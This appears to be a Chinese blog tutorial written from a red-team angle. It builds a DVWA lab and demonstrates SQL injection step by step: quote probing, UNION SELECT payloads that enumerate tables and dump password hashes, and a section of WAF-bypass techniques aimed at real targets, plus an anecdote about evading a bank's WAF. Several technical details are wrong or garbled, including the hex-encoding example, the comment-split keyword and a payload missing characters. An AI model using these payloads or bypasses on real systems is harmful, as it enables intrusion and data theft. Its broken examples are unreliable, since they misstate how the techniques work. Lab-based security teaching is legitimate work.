一、从某次数据泄露事件谈起

几年前,某知名电商平台爆出了一起严重的数据泄露事件,数百万用户的个人信息在暗网中流传。调查显示,黑客通过一次简单的 SQL 注入攻击获取到了数据库的敏感数据。这个事件让我深刻意识到,SQL 注入依然是 Web 应用中最常见且具有高危害性的漏洞之一。今天,我就从红队视角,带大家深入解析如何通过 SQL 注入完成一次完整的攻击链。

声明:本文内容仅供授权的安全测试和学习使用,严禁用于非法用途,否则责任自负。

---

二、SQL注入的致命魅力:攻防对抗中的核心角色

SQL 注入是如何成为经典攻击手段的?它的成因并不复杂:在应用层接收用户输入时,未对输入内容进行充分过滤或校验,导致恶意输入被直接拼接进了 SQL 查询。攻击者只需在输入中插入精心构造的 SQL Payload,就能直接操控数据库,执行任意查询。

常见注入类型

SQL 注入并非单一形式,我们可以根据注入点和执行机制将其分为以下几类:

  • 基于错误的注入(Error-based Injection): 利用数据库的错误回显信息获知表结构、字段名等。
  • 基于联合查询的注入(Union-based Injection): 通过 UNION SELECT 将恶意 SQL 查询结果合并到正常查询中。
  • 布尔盲注(Boolean-based Blind Injection): 通过观察页面回显的逻辑变化判断真伪。
  • 时间盲注(Time-based Blind Injection): 借助 SLEEP() 等函数,通过延迟时间判断真假。
  • 堆叠查询注入(Stacked Query Injection): 利用分号 ; 执行多条查询。

每种注入方式都有其适用场景,我会在后文通过实战案例逐一展开。

---

三、靶场搭建:打造攻防对抗的练兵场

先搭建一个安全的攻击测试环境。我习惯使用 Docker 快速部署靶场,下面是我的环境搭建步骤:

靶场所需环境

  1. 一个支持 PHP 和 MySQL 的 Web 应用(如 DVWA 或 bWAPP)。
  2. 数据库中的目标表和数据,用于验证注入效果。
  3. 攻击机环境:建议使用 Kali Linux 或自定义的 Linux 渗透测试环境。

Docker快速搭建靶场

以下是用 Docker 部署 DVWA 靶场的命令,简单高效:

黑客示意图

<pre><code class="language-shell"># 拉取 DVWA 镜像 docker pull vulnerables/web-dvwa

启动容器,映射到本地端口

docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

查看容器运行状态

docker ps</code></pre>

访问 http://localhost:8080 即可打开 DVWA,默认管理员账号为 admin,密码为 password

初始化数据库

DVWA 启动后需要进行数据库配置,点击页面上的 "Create / Reset Database" 按钮即可完成初始化。

接下来,我们以 DVWA 的弱口令模块为例,展开一次完整的 SQL 注入攻击。

---

四、探索注入点:如何找到一扇未锁的门?

思路一:观察URL参数和表单提交点

在 DVWA 的 "Login" 页面中输入任意内容后,观察流量,可以发现 POST 请求的参数如下:

<pre><code>POST /vulnerabilities/sqli/ HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded

username=admin&amp;password=123&amp;Login=Login</code></pre>

显然,usernamepassword 这两个参数是潜在的注入点。

思路二:用单引号探路

username 提交一个单引号 ',观察页面是否返回错误信息:

<pre><code>username=&#039;&amp;password=123&amp;Login=Login</code></pre>

返回页面显示了如下数据库错误信息:

<pre><code class="language-html">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;&#039; at line 1</code></pre>

这表明该字段存在注入漏洞,现在可以开始构造更复杂的 Payload。

---

黑客示意图

五、Payload构造的艺术:突破防御的技巧与细节

基于联合查询的注入

为了验证数据库中有多少列,我们可以尝试以下 Payload:

<pre><code class="language-sql">&#039; UNION SELECT 1,2,3-- -</code></pre>

如果页面正常返回,说明数据库的查询结果中有 3 列。进一步利用以下 Payload 查看数据库名:

<pre><code class="language-sql">&#039; UNION SELECT 1,2,database()-- -</code></pre>

页面显示出了数据库名 dvwa,接下来可以尝试获取表名和字段名。

构造信息获取链条

  1. 列出所有表名:

<pre><code class="language-sql">&#039; UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=&#039;dvwa&#039;-- -</code></pre>

找到了一个感兴趣的表名:users

  1. 列出表中的字段名:

<pre><code class="language-sql">&#039; UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_name=&#039;users&#039;-- -</code></pre>

字段名包括 user_idusernamepassword,很可能存储了敏感信息。

  1. 读取用户数据:

<pre><code class="language-sql">&#039; UNION SELECT 1,username,password FROM users-- -</code></pre>

页面显示了用户密码的 MD5 哈希值,如 admin 对应的密码是 5f4dcc3b5aa765d61d8327deb882cf99(显然是弱口令 password)。

黑客示意图

---

六、绕过过滤规则:规避WAF与日志审计

在实战中,很多目标系统会开启 WAF(Web 应用防火墙)来拦截常见的 SQL 注入 Payload。以下是绕过的常用技巧:

字符编码绕过

使用十六进制编码代替文本输入。例如,UNION SELECT 可以写成:

<pre><code class="language-sql">UNION SELECT 0x31,0x32,0x64</code></pre>

注释绕过

利用注释符号隐藏关键字:

<pre><code class="language-sql">UN/**/ION SELECT 1,2,3-- -</code></pre>

大小写混淆

WAF 通常基于关键字匹配,而 SQL 是大小写不敏感的:

黑客示意图

<pre><code class="language-sql">unIon SeLEct 1,2,3-- -</code></pre>

绕过空格限制

用括号、+ 或其他符号代替空格:

<pre><code class="language-sql">&#039;UNION//SELECT//1,2,3-- -</code></pre>

这些方法并非百试百灵,需要针对具体目标的过滤策略灵活调整。

---

七、个人经验:从一次渗透测试中学到的教训

有一次,我们的红队对某金融机构进行渗透测试,SQL 注入是攻破目标的关键环节。目标使用了一个自研的 WAF,很聪明地过滤了常见 SQL 关键字。然而,他们忽略了一点:WAF 的规则只针对 GET 请求,而对 POST 请求几乎没有过滤。

通过将 Payload 放到 POST 请求中,我们成功绕过了防护,直接获取了数据库的敏感信息。这提醒我,在渗透测试中一定要多尝试不同的攻击路径,不要被表面现象迷惑。

---

八、总结:用攻击者的思维反思防御策略

SQL 注入并不是一个新鲜的漏洞,但它依然是 Web 应用安全的永恒威胁。作为攻击者,我们需要不断更新 Payload 构造技巧,学会绕过各种防护机制;作为防御者,我们要从根源上解决问题,使用参数化查询、严格过滤输入。

红队的核心思维是:找到目标的短板,并将其扩大到不可承受的程度。希望这篇文章能让你对 SQL 注入有更深刻的理解,也期望它能在你的渗透测试生涯中提供灵感。